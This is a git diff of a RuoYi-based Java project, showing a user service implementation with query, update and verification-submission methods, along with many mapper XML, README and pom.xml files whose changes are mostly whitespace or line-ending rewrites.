lqw.eq(bo.getUserLasttime() != null, TzUser::getUserLasttime, bo.getUserLasttime()); - lqw.eq(StringUtils.isNotBlank(bo.getUserLastip()), TzUser::getUserLastip, bo.getUserLastip()); - lqw.eq(StringUtils.isNotBlank(bo.getUserMemo()), TzUser::getUserMemo, bo.getUserMemo()); - lqw.eq(StringUtils.isNotBlank(bo.getSex()), TzUser::getSex, bo.getSex()); - lqw.eq(StringUtils.isNotBlank(bo.getBirthDate()), TzUser::getBirthDate, bo.getBirthDate()); - lqw.eq(StringUtils.isNotBlank(bo.getPic()), TzUser::getPic, bo.getPic()); - lqw.eq(bo.getStatus() != null, TzUser::getStatus, bo.getStatus()); - lqw.eq(bo.getScore() != null, TzUser::getScore, bo.getScore()); - lqw.between(params.get("beginModifyTime") != null && params.get("endModifyTime") != null, TzUser::getModifyTime, params.get("beginModifyTime"), params.get("endModifyTime")); - return lqw; - } - - /** - * 新增用户 - * - * @param bo 用户 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TzUserBo bo) { - TzUser add = MapstructUtils.convert(bo, TzUser.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setUserId(add.getUserId()); - } - return flag; - } - - /** - * 修改用户 - * - * @param bo 用户 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TzUserBo bo) { - TzUser update = MapstructUtils.convert(bo, TzUser.class); - return baseMapper.updateById(update) > 0; - } - - /** - * 开启设计师开关 - * - * @param userPhone - * @param status - * @return - */ - @Override - public Boolean queryByUserPhone(String userPhone, Integer status) { - TzUser user = baseMapper.selectOne(Wrappers.lambdaQuery().eq(TzUser::getUserMobile, userPhone)); - if (user == null){ - throw new ServiceException("该用户未注册"); - } else{ - if(status == 1){ - user.setIsDesigner(1); - } else if (status == 2) { - user.setIsDesigner(0); - } - } - return baseMapper.updateById(user) > 0; - } - - /** - * 校验并批量删除用户信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 提交实名认证 - * - * @param bo 用户认证信息 - * @return 是否提交成功 - */ - @Override - public Boolean submitAuth(TzUserBo bo) { - // 检查是否已提交过认证 - TzUser user = baseMapper.selectById(bo.getUserId()); - if (user == null) { - throw new ServiceException("用户不存在"); - } - if (user.getExamineFlag() == 2 || user.getExamineFlag() == 3) { - throw new ServiceException("已提交过认证申请"); - } - TzUser update = MapstructUtils.convert(bo, TzUser.class); - update.setExamineFlag(2); - return baseMapper.updateById(update) > 0; - } - - /** - * 提交设计师认证 - * - * @param bo 设计师认证信息 - * @return 是否提交成功 - */ - @Override - public Boolean submitSjsAuth(TzUserBo bo) { - // 检查是否已提交过认证 - TzUser user = baseMapper.selectById(bo.getUserId()); - if (user == null) { - throw new ServiceException("用户不存在"); - } - if (user.getSjsFlag() == 2 || user.getSjsFlag() == 3) { - throw new ServiceException("已提交过设计师认证申请"); - } - TzUser update = MapstructUtils.convert(bo, TzUser.class); - update.setSjsFlag(2); - return baseMapper.updateById(update) > 0; - } - - /* @Override - public TableDataInfo queryPageListChart(TzUserBo bo, PageQuery pageQuery) { - // 使用MPJLambdaWrapper构建多表关联查询 - MPJLambdaWrapper wrapper = new MPJLambdaWrapper() - .selectAs(TzUser::getUserId, "userId") - .selectAs(TzUser::getRealName, "realName") - .selectCount(HyOrderItem::getId, "orderNum") - .selectSum(HyOrderItem::getTotal, "orderTotal") - .leftJoin(HyOrderItem.class, HyOrderItem::getUserId, TzUser::getUserId) - .groupBy(TzUser::getUserId) - .orderByDesc("orderTotal"); - - // 添加查询条件 - if (bo != null) { - Map params = bo.getParams(); - wrapper.eq(HyOrderItem::getDelFlag, 1); - wrapper.ne(HyOrderItem::getPayState, 1); - wrapper.like(StringUtils.isNotBlank(bo.getNickName()), TzUser::getNickName, bo.getNickName()); - wrapper.like(StringUtils.isNotBlank(bo.getRealName()),TzUser::getRealName, bo.getRealName()); - wrapper.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - HyOrderItem::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); - } - // 执行分页查询 - Page page = baseMapper.selectJoinPage(pageQuery.build(), TzUserVo.class, wrapper); - return TableDataInfo.build(page); - }*/ -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TzUser; +import org.dromara.work.domain.bo.TzUserBo; +import org.dromara.work.domain.vo.TzUserVo; +import org.dromara.work.mapper.TzUserMapper; +import org.dromara.work.service.ITzUserService; +import org.springframework.stereotype.Service; + +import java.math.BigDecimal; +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 用户Service业务层处理 + * + * @author Lion Li + * @date 2024-07-30 + */ +@RequiredArgsConstructor +@Service +public class TzUserServiceImpl extends MPJBaseServiceImpl implements ITzUserService { + + private final TzUserMapper baseMapper; + + /** + * 查询用户 + * + * @param userId 主键 + * @return 用户 + */ + @Override + public TzUserVo queryById(Long userId){ + return baseMapper.selectVoById(userId); + } + + /** + * 分页查询用户列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 用户分页列表 + */ + @Override + public TableDataInfo queryPageList(TzUserBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + + // 获取用户列表 + /*List userList = result.getRecords(); + + // 遍历用户列表,查询每个用户的已完成订单数量 + for (TzUserVo user : userList) { + LambdaQueryWrapper orderWrapper = Wrappers.lambdaQuery(); + orderWrapper.eq(HyOrderItem::getUserId, user.getUserId()); + orderWrapper.eq(HyOrderItem::getStatus, 6); + Long orderCount = hyOrderItemMapper.selectCount(orderWrapper); + user.setOrderNum(orderCount); + }*/ + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的用户列表 + * + * @param bo 查询条件 + * @return 用户列表 + */ + @Override + public List queryList(TzUserBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + /** + * 根据手机号查询用户信息 + * + * @param userPhone 手机号 + * @return 用户信息 + */ + @Override + public TzUserVo queryUserInfoByPhone(String userPhone) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TzUser::getUserMobile, userPhone)); + } + + private LambdaQueryWrapper buildQueryWrapper(TzUserBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getNickName()), TzUser::getNickName, bo.getNickName()); + lqw.like(StringUtils.isNotBlank(bo.getRealName()), TzUser::getRealName, bo.getRealName()); + lqw.eq(StringUtils.isNotBlank(bo.getUserMail()), TzUser::getUserMail, bo.getUserMail()); + lqw.eq(StringUtils.isNotBlank(bo.getLoginPassword()), TzUser::getLoginPassword, bo.getLoginPassword()); + lqw.eq(StringUtils.isNotBlank(bo.getPayPassword()), TzUser::getPayPassword, bo.getPayPassword()); + lqw.eq(StringUtils.isNotBlank(bo.getUserMobile()), TzUser::getUserMobile, bo.getUserMobile()); + lqw.eq(StringUtils.isNotBlank(bo.getIdCard()), TzUser::getIdCard, bo.getIdCard()); + lqw.eq(bo.getModifyTime() != null, TzUser::getModifyTime, bo.getModifyTime()); + lqw.eq(bo.getUserRegtime() != null, TzUser::getUserRegtime, bo.getUserRegtime()); + lqw.eq(bo.getIsMember() != null, TzUser::getIsMember, bo.getIsMember()); + lqw.eq(bo.getExamineFlag() != null, TzUser::getExamineFlag, bo.getExamineFlag()); + lqw.eq(StringUtils.isNotBlank(bo.getUserRegip()), TzUser::getUserRegip, bo.getUserRegip()); + lqw.eq(bo.getUserLasttime() != null, TzUser::getUserLasttime, bo.getUserLasttime()); + lqw.eq(StringUtils.isNotBlank(bo.getUserLastip()), TzUser::getUserLastip, bo.getUserLastip()); + lqw.eq(StringUtils.isNotBlank(bo.getUserMemo()), TzUser::getUserMemo, bo.getUserMemo()); + lqw.eq(StringUtils.isNotBlank(bo.getSex()), TzUser::getSex, bo.getSex()); + lqw.eq(StringUtils.isNotBlank(bo.getBirthDate()), TzUser::getBirthDate, bo.getBirthDate()); + lqw.eq(StringUtils.isNotBlank(bo.getPic()), TzUser::getPic, bo.getPic()); + lqw.eq(bo.getStatus() != null, TzUser::getStatus, bo.getStatus()); + lqw.eq(bo.getScore() != null, TzUser::getScore, bo.getScore()); + lqw.between(params.get("beginModifyTime") != null && params.get("endModifyTime") != null, TzUser::getModifyTime, params.get("beginModifyTime"), params.get("endModifyTime")); + return lqw; + } + + /** + * 新增用户 + * + * @param bo 用户 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TzUserBo bo) { + TzUser add = MapstructUtils.convert(bo, TzUser.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setUserId(add.getUserId()); + } + return flag; + } + + /** + * 修改用户 + * + * @param bo 用户 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TzUserBo bo) { + TzUser update = MapstructUtils.convert(bo, TzUser.class); + return baseMapper.updateById(update) > 0; + } + + /** + * 开启设计师开关 + * + * @param userPhone + * @param status + * @return + */ + @Override + public Boolean queryByUserPhone(String userPhone, Integer status) { + TzUser user = baseMapper.selectOne(Wrappers.lambdaQuery().eq(TzUser::getUserMobile, userPhone)); + if (user == null){ + throw new ServiceException("该用户未注册"); + } else{ + if(status == 1){ + user.setIsDesigner(1); + } else if (status == 2) { + user.setIsDesigner(0); + } + } + return baseMapper.updateById(user) > 0; + } + + /** + * 校验并批量删除用户信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 提交实名认证 + * + * @param bo 用户认证信息 + * @return 是否提交成功 + */ + @Override + public Boolean submitAuth(TzUserBo bo) { + // 检查是否已提交过认证 + TzUser user = baseMapper.selectById(bo.getUserId()); + if (user == null) { + throw new ServiceException("用户不存在"); + } + if (user.getExamineFlag() == 2 || user.getExamineFlag() == 3) { + throw new ServiceException("已提交过认证申请"); + } + TzUser update = MapstructUtils.convert(bo, TzUser.class); + update.setExamineFlag(2); + return baseMapper.updateById(update) > 0; + } + + /** + * 提交设计师认证 + * + * @param bo 设计师认证信息 + * @return 是否提交成功 + */ + @Override + public Boolean submitSjsAuth(TzUserBo bo) { + // 检查是否已提交过认证 + TzUser user = baseMapper.selectById(bo.getUserId()); + if (user == null) { + throw new ServiceException("用户不存在"); + } + if (user.getSjsFlag() == 2 || user.getSjsFlag() == 3) { + throw new ServiceException("已提交过设计师认证申请"); + } + TzUser update = MapstructUtils.convert(bo, TzUser.class); + update.setSjsFlag(2); + return baseMapper.updateById(update) > 0; + } + + /* @Override + public TableDataInfo queryPageListChart(TzUserBo bo, PageQuery pageQuery) { + // 使用MPJLambdaWrapper构建多表关联查询 + MPJLambdaWrapper wrapper = new MPJLambdaWrapper() + .selectAs(TzUser::getUserId, "userId") + .selectAs(TzUser::getRealName, "realName") + .selectCount(HyOrderItem::getId, "orderNum") + .selectSum(HyOrderItem::getTotal, "orderTotal") + .leftJoin(HyOrderItem.class, HyOrderItem::getUserId, TzUser::getUserId) + .groupBy(TzUser::getUserId) + .orderByDesc("orderTotal"); + + // 添加查询条件 + if (bo != null) { + Map params = bo.getParams(); + wrapper.eq(HyOrderItem::getDelFlag, 1); + wrapper.ne(HyOrderItem::getPayState, 1); + wrapper.like(StringUtils.isNotBlank(bo.getNickName()), TzUser::getNickName, bo.getNickName()); + wrapper.like(StringUtils.isNotBlank(bo.getRealName()),TzUser::getRealName, bo.getRealName()); + wrapper.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + HyOrderItem::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); + } + // 执行分页查询 + Page page = baseMapper.selectJoinPage(pageQuery.build(), TzUserVo.class, wrapper); + return TableDataInfo.build(page); + }*/ +} diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/package-info.md b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/package-info.md index c938b1e..22087fa 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/package-info.md +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/package-info.md @@ -1,3 +1,3 @@ -java包使用 `.` 分割 resource 目录使用 `/` 分割 -
+java包使用 `.` 分割 resource 目录使用 `/` 分割 +
此文件目的 防止文件夹粘连找不到 `xml` 文件 \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpChangePriceMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpChangePriceMapper.xml index c1fce1c..6e9d7ae 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpChangePriceMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpChangePriceMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientFundMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientFundMapper.xml new file mode 100644 index 0000000..00066c2 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientFundMapper.xml @@ -0,0 +1,7 @@ + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientMapper.xml index 35c1252..1b584da 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientStaffMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientStaffMapper.xml index 882da19..ad44edc 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientStaffMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpClientStaffMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptCostMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptCostMapper.xml new file mode 100644 index 0000000..b972a21 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptCostMapper.xml @@ -0,0 +1,7 @@ + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptReportMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptReportMapper.xml new file mode 100644 index 0000000..cd341fa --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDeptReportMapper.xml @@ -0,0 +1,7 @@ + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDesignQuotesMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDesignQuotesMapper.xml index 4779cbd..4504c24 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDesignQuotesMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpDesignQuotesMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFieldMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFieldMapper.xml index bc18fe3..cfb0225 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFieldMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFieldMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFollowMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFollowMapper.xml index 007c6e1..f6de788 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFollowMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpFollowMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpIntegralDetailMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpIntegralDetailMapper.xml index ee7aa74..a6d769e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpIntegralDetailMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpIntegralDetailMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpMonthMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpMonthMapper.xml index 00278b2..ffb8331 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpMonthMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpMonthMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderBigMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderBigMapper.xml index 00b4a05..c9dd835 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderBigMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderBigMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCdMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCdMapper.xml index 339d369..9eaca59 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCdMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCdMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCommentMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCommentMapper.xml index 852398d..83a97eb 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCommentMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderCommentMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderMapper.xml index e273948..6b6ca92 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderMapper.xml @@ -1,312 +1,312 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderModelMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderModelMapper.xml index 23f6c6f..691731d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderModelMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderModelMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderPayMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderPayMapper.xml index b2d0c0c..3b0e8ff 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderPayMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderPayMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderRecordMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderRecordMapper.xml index d68ba92..6588225 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderRecordMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderRecordMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderSmallMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderSmallMapper.xml index 389ac64..67b8b0d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderSmallMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpOrderSmallMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpPanoramaMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpPanoramaMapper.xml index fae7655..a1dbaec 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpPanoramaMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpPanoramaMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpProdMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpProdMapper.xml index 47ce900..9645205 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpProdMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpProdMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpReceiptMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpReceiptMapper.xml index 972aa73..ec734f4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpReceiptMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpReceiptMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpRemittanceMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpRemittanceMapper.xml index e8ca704..7b28682 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpRemittanceMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpRemittanceMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffMapper.xml index 948c905..95fc1ed 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffPayMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffPayMapper.xml index 4f196b4..7269858 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffPayMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpStaffPayMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatMapper.xml index 384dc1a..cae8c57 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatMapper.xml @@ -1,349 +1,349 @@ - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatNumMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatNumMapper.xml index 3d85ec5..b62f7c0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatNumMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatNumMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatUserMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatUserMapper.xml index ca45c92..129aa23 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatUserMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWechatUserMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWorksMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWorksMapper.xml index 85b3953..e119a76 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWorksMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpWorksMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpYearMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpYearMapper.xml index ec86720..b9cc172 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpYearMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TpYearMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzSharedAccountMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzSharedAccountMapper.xml index 9f6d658..bef0b83 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzSharedAccountMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzSharedAccountMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzUserMapper.xml b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzUserMapper.xml index 44267e9..3648657 100644 --- a/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzUserMapper.xml +++ b/ruoyi-modules/ruoyi-work/src/main/resources/mapper/work/TzUserMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-workflow/README.md b/ruoyi-modules/ruoyi-workflow/README.md index 59096b1..c7045e2 100644 --- a/ruoyi-modules/ruoyi-workflow/README.md +++ b/ruoyi-modules/ruoyi-workflow/README.md @@ -1,3 +1,3 @@ -# 工作流说明 - +# 工作流说明 + 工作流目前在未成熟阶段 后续仍会经历重构 甚至重写(生产使用前请慎重考虑后续是否要更新维护) \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-workflow/pom.xml b/ruoyi-modules/ruoyi-workflow/pom.xml index e55839e..32257de 100644 --- a/ruoyi-modules/ruoyi-workflow/pom.xml +++ b/ruoyi-modules/ruoyi-workflow/pom.xml @@ -1,119 +1,119 @@ - - - - org.dromara - ruoyi-modules - ${revision} - ../pom.xml - - 4.0.0 - jar - ruoyi-workflow - - - 工作流模块 - - - - - - - org.flowable - flowable-spring-boot-autoconfigure - - - org.flowable - flowable-spring-security - - - - - - org.flowable - flowable-spring-configurator - - - - org.flowable - flowable-spring-boot-starter-actuator - - - - - org.flowable - flowable-image-generator - - - - - org.flowable - flowable-json-converter - 6.8.0 - - - - - org.apache.xmlgraphics - batik-all - 1.17 - - - xalan - xalan - - - - - - org.dromara - ruoyi-common-websocket - - - - org.dromara - ruoyi-common-mail - - - - org.dromara - ruoyi-common-sms - - - - org.dromara - ruoyi-common-mybatis - - - org.dromara - ruoyi-common-web - - - org.dromara - ruoyi-common-log - - - org.dromara - ruoyi-common-idempotent - - - org.dromara - ruoyi-common-excel - - - org.dromara - ruoyi-common-translation - - - org.dromara - ruoyi-common-tenant - - - org.dromara - ruoyi-common-security - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + ../pom.xml + + 4.0.0 + jar + ruoyi-workflow + + + 工作流模块 + + + + + + + org.flowable + flowable-spring-boot-autoconfigure + + + org.flowable + flowable-spring-security + + + + + + org.flowable + flowable-spring-configurator + + + + org.flowable + flowable-spring-boot-starter-actuator + + + + + org.flowable + flowable-image-generator + + + + + org.flowable + flowable-json-converter + 6.8.0 + + + + + org.apache.xmlgraphics + batik-all + 1.17 + + + xalan + xalan + + + + + + org.dromara + ruoyi-common-websocket + + + + org.dromara + ruoyi-common-mail + + + + org.dromara + 